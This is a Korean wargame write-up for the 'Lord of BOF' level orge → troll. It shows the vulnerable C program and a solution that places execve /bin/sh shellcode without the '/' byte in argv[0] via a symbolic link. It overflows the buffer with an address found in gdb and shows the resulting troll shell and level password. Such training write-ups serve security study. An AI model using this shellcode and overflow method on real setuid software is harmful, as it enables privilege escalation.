wargame ๐Ÿด‍โ˜ ๏ธ write-up/Lord of BOF

8. orge → troll

Kortsec1 2020. 12. 13. 20:29
[orge@localhost orge]$ cat -n troll.c 
     1	/*
     2	        The Lord of the BOF : The Fellowship of the BOF
     3	        - troll
     4	        - check argc + argv hunter
     5	*/
     6	
     7	#include <stdio.h>
     8	#include <stdlib.h>
     9	
    10	extern char **environ;
    11	
    12	main(int argc, char *argv[])
    13	{
    14		char buffer[40];
    15		int i;
    16	
    17		// here is changed
    18		if(argc != 2){
    19			printf("argc must be two!\n");
    20			exit(0);
    21		}
    22	
    23		// egghunter 
    24		for(i=0; environ[i]; i++)
    25			memset(environ[i], 0, strlen(environ[i]));
    26	
    27		if(argv[1][47] != '\xbf')
    28		{
    29			printf("stack is still your friend.\n");
    30			exit(0);
    31		}
    32	
    33		// check the length of argument
    34		if(strlen(argv[1]) > 48){
    35			printf("argument is too long!\n");
    36			exit(0);
    37		}
    38	
    39		strcpy(buffer, argv[1]); 
    40		printf("%s\n", buffer);
    41	
    42	        // buffer hunter
    43	        memset(buffer, 0, 40);
    44	
    45		// one more!
    46		memset(argv[1], 0, strlen(argv[1]));
    47	}

 

18~21์ฝ”๋“œ๋ฅผ ํ†ตํ•ด argv์ธ์ž๋ฅผ 2๊ฐœ๋งŒ ๋ฐ›์•„์˜ฌ ์ˆ˜ ์žˆ๊ฒŒ ํ•ด๋†จ๊ตฐ์š”.

ex) ./test 1234 (o)

     ./test 1234 5678 (x)

 

๋˜ํ•œ, 46์ฝ”๋“œ์— ํ”„๋กœ๊ทธ๋žจ ์ข…๋ฃŒ์ง์ „ argv[1]์„ ์ดˆ๊ธฐํ™” ํ•ด์คŒ์œผ๋กœ์จ ๋”์ด์ƒ ์šฐ๋ฆฌ์˜ ์นœ๊ตฌ argv[1]์„ ์ด์šฉํ• ์ˆ˜๊ฐ€ ์—†๊ฒ ๋„ค์š”

 

 

ํ˜น์‹œ ์ด์ „ ๋ฌธ์ œ์—์„œ ์‹ฌ๋ณผ๋ฆญ ๋งํฌ๋กค ํ†ตํ•ด์„œ argv[0](์‹คํ–‰ ํŒŒ์ผ๋ช…)์˜ ๊ธธ์ด๋ฅผ ๋ฐ”๊ฟ”์ค€๊ฒƒ ๊ธฐ์–ต ํ•˜์‹œ๋‚˜์š”?

๊ทธ๋ ‡๋‹ค๋ฉด ์ด๋ฒˆ์—๋Š” argv[0]์— ์‰˜์ฝ”๋“œ๋ฅผ ์ž…๋ ฅํ•˜์—ฌ ๋ฌธ์ œ๋ฅผ ํ’€์–ด๋ด…์‹œ๋‹ค.

 

 

 

์šฐ์„ , ์•Œ์•„๋‘ฌ์•ผ ํ• ๊ฒŒ ์šฐ๋ฆฌ๊ฐ€ ๊ธฐ์กด์— ์‚ฌ์šฉํ•˜๋˜ ์‰˜์ฝ”๋“œ(24byte) ์†์—๋Š” \x2f๊ฐ€ ํฌํ•จ๋˜์–ด์žˆ์„๊ฒ๋‹ˆ๋‹ค.

\x2f๋Š” ๋ฌธ์ž๋กœ ์Šฌ๋ž˜์‰ฌ "/" ์ž…๋‹ˆ๋‹ค. (https://www.rapidtables.com/convert/number/hex-to-ascii.html)

์•„์‹œ๋‹ค์‹œํ”ผ "/"๋Š” ๋ฆฌ๋ˆ…์Šค์—์„œ ๋””๋ ‰ํ„ฐ๋ฆฌ ๊ตฌ๋ถ„์— ์ด์šฉ๋˜๋Š” ๋ฌธ์ž์ฃ ..

์ด๋ž˜์„œ ๊ธฐ์กด ์‰˜์ฝ”๋“œ๋กœ ์„ค์ •ํ•ด์ค„๊ฒฝ์šฐ ์˜ค๋ฅ˜๊ฐ€ ์ƒ๊น๋‹ˆ๋‹ค.

[orge@localhost orge]$ `python -c 'print "ln -s test " + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
ln: cannot create symbolic link `1๓ฟฟh//shh/binโ“แ™ฐ
                                               อ€' to `test': No such file or directory

 

 

 

๋”ฐ๋ผ์„œ, ์ด๋ฒˆ ๋ฌธ์ œ์—์„œ๋Š” \x2f๊ฐ€ ์—†๋Š” ์‰˜์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•ด์•ผ๊ฒ ๋„ค์š”.

https://d4m0n.tistory.com/62

 

[Linux/x86] Shellcode without 0x2f

Shellcode without 0x2f ์ด๋ฒˆ ๊ธ€์—์„œ๋Š” 0x2f๊ฐ€ ์—†๋Š” ์‰˜์ฝ”๋“œ๋ฅผ ๋งŒ๋“ค์–ด ๋ณผ ๊ฒƒ์ด๋‹ค. 0x2f๋Š” ๋ฌธ์ž๋กœ '/'์ด๋ฉฐ ์ด ๋ฌธ์ž๋Š” ๋ฆฌ๋ˆ…์Šค์—์„œ ๊ฒฝ๋กœ๋ฅผ ๊ตฌ๋ถ„ํ•  ๋•Œ ์“ฐ์ธ๋‹ค. ๊ฐ„ํ˜น argv[0]. ์ฆ‰, ํŒŒ์ผ ์ด๋ฆ„์— ์‰˜์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•ด์•ผ

d4m0n.tistory.com

 

 

[orge@localhost orge]$ `python -c 'print "ln -s test " + "\x31\xc0\x50\xbe\x2e\x2e\x72\x67\x81\xc6\x01\x01\x01\x01\x56\xbf\x2e\x62\x69\x6e\x47\x57\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'`
[orge@localhost orge]$ ls -l
total 36
lrwxrwxrwx    1 orge     orge            4 Dec 13 03:29 1๓ฟฟ¾..rg?ฤฟ???V¿.binGW?โŽฟแ‘ฟแฎฟหฟ -> test
-rwsr-sr-x    1 orge     orge        12693 Dec 13 03:28 test
-rwsr-sr-x    1 troll    troll       12693 Mar  1  2010 troll
-rw-r--r--    1 root     root          772 Mar 29  2010 troll.c

์ด๋ ‡๊ฒŒ ์„ฑ๊ณต์ ์œผ๋กœ ์‹ฌ๋ณผ๋ฆญ ๋งํฌ๊ฐ€ ๊ฑธ๋ฆฌ๋„ค์š”.

 

 

testํŒŒ์ผ์„ ํ†ตํ•˜์—ฌ argv[0] addr๋ฅผ ์ฐพ์•„๋‚ด๊ณ  ๋ฐ”๋กœ ์ ์šฉ์‹œํ‚ค๋ฉด ๋˜๊ฒ ๋„ค์š”.

๊ณต๊ฒฉ ์ฝ”๋“œ
argv[0] argv[1]
./์‰˜์ฝ”๋“œ "A"(dummy 44byte) ret(argv[0] addr)

 

 

 

 

 

[orge@localhost orge]$ `python -c 'print "./\x31\xc0\x50\xbe\x2e\x2e\x72\x67\x81\xc6\x01\x01\x01\x01\x56\xbf\x2e\x62\x69\x6e\x47\x57\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80 " + "A"*44 + "\x14\xfc\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
Segmentation fault (core dumped)
[orge@localhost orge]$ gdb -c core
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
Core was generated by `./1๓ฟฟ¾..rgฤV¿.binGWโ‰แ“‰
                                           แฑ e                                        '.
Program terminated with signal 11, Segmentation fault.
#0  0xbfffffd6 in ?? ()
(gdb) x/40wx $esp
0xbffffaa0:	0x00000000	0xbffffae4	0xbffffaf0	0x40013868
0xbffffab0:	0x00000002	0x08048450	0x00000000	0x08048471
0xbffffac0:	0x08048500	0x00000002	0xbffffae4	0x08048390
0xbffffad0:	0x0804866c	0x4000ae60	0xbffffadc	0x40013e90
0xbffffae0:	0x00000002	0xbffffbe0	0xbffffc05	0x00000000
0xbffffaf0:	0xbffffc36	0xbffffc45	0xbffffc5d	0xbffffc7c
0xbffffb00:	0xbffffc9e	0xbffffca8	0xbffffe6b	0xbffffe8a
0xbffffb10:	0xbffffea4	0xbffffeb9	0xbffffed5	0xbffffee0
0xbffffb20:	0xbffffef9	0xbfffff06	0xbfffff0e	0xbfffff18
0xbffffb30:	0xbfffff28	0xbfffff36	0xbfffff44	0xbfffff55
(gdb) x/s 0xbffffbe0
0xbffffbe0:	 "./1๓ฟฟ¾..rg\201ลœ001\001\001\001V¿.binGW\211โœ211แ’œ211แฏœ013ฬœ200"
(gdb) x/s 0xbffffbe2
0xbffffbe2:	 "1๓ฟฟ¾..rg\201ลœ001\001\001\001V¿.binGW\211โœ211แ’œ211แฏœ013ฬœ200"

 

์ฝ”๋“œ๋ฅผ ์ •์ƒ์ ์œผ๋กœ ์‹คํ–‰์‹œํ‚ค๊ธฐ ์œ„ํ•ด์„  argv[0] ์ฃผ์†Œ์—์„œ "./"๋ฅผ ๊ฑด๋„ˆ๋›ด ์ฃผ์†Œ์ธ, argv[0]+2๋ฅผ ๋ฎ์–ด์•ผ๊ฒ ๋„ค์š”.

 

 

 

 

์ด์ œ torllํŒŒ์ผ๊ณผ ์‹ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ๋‹ค์‹œ ๊ฑธ์–ด์„œ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ‚ค๊ฒจ๋ณผ๊นŒ์š”

[orge@localhost orge]$ `python -c 'print "rm \x31\xc0\x50\xbe\x2e\x2e\x72\x67\x81\xc6\x01\x01\x01\x01\x56\xbf\x2e\x62\x69\x6e\x47\x57\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'`
[orge@localhost orge]$ ls
test  troll  troll.c
[orge@localhost orge]$ `python -c 'print "ln -s troll \x31\xc0\x50\xbe\x2e\x2e\x72\x67\x81\xc6\x01\x01\x01\x01\x56\xbf\x2e\x62\x69\x6e\x47\x57\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'`
[orge@localhost orge]$ ls -l
total 36
lrwxrwxrwx    1 orge     orge            5 Dec 13 03:36 1๓ฟฟ¾..rg?ฤฟ???V¿.binGW?โŽฟแ‘ฟแฎฟหฟ -> troll
-rwsr-sr-x    1 orge     orge        12693 Dec 13 03:28 test
-rwsr-sr-x    1 troll    troll       12693 Mar  1  2010 troll
-rw-r--r--    1 root     root          772 Mar 29  2010 troll.c
[orge@localhost orge]$ `python -c 'print "./\x31\xc0\x50\xbe\x2e\x2e\x72\x67\x81\xc6\x01\x01\x01\x01\x56\xbf\x2e\x62\x69\x6e\x47\x57\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80 " + "A"*44 + "\xe2\xfb\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAใผฟ¿
bash$ whoami
troll
bash$ my-pass
euid = 508
aspirin

 

 

๋„ค, ์ด์ง€ํ•˜๊ฒŒ ์‰˜์ด ์‹คํ–‰๋˜๋Š” ๋ชจ์Šต์ž…๋‹ˆ๋‹ค.

+ ์‹œ์ž‘์ „์— bash2๋กœ ๋ฐ”๊ฟ”์ฃผ๊ณ  ๋ฌธ์ œํ’€์ด ํ•˜์‹œ๋Š”๊ฑฐ ์žŠ์ง€ ์•Š์œผ์…จ์ฃ ?

 

'wargame ๐Ÿดโ€โ˜ ๏ธ write-up > Lord of BOF' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

10. vampire โ†’ skeleton  (0) 2020.12.19
9. troll โ†’ vampire  (0) 2020.12.14
7. darkelf โ†’ orge  (0) 2020.12.13
6. wolfman โ†’ darkelf  (0) 2019.05.02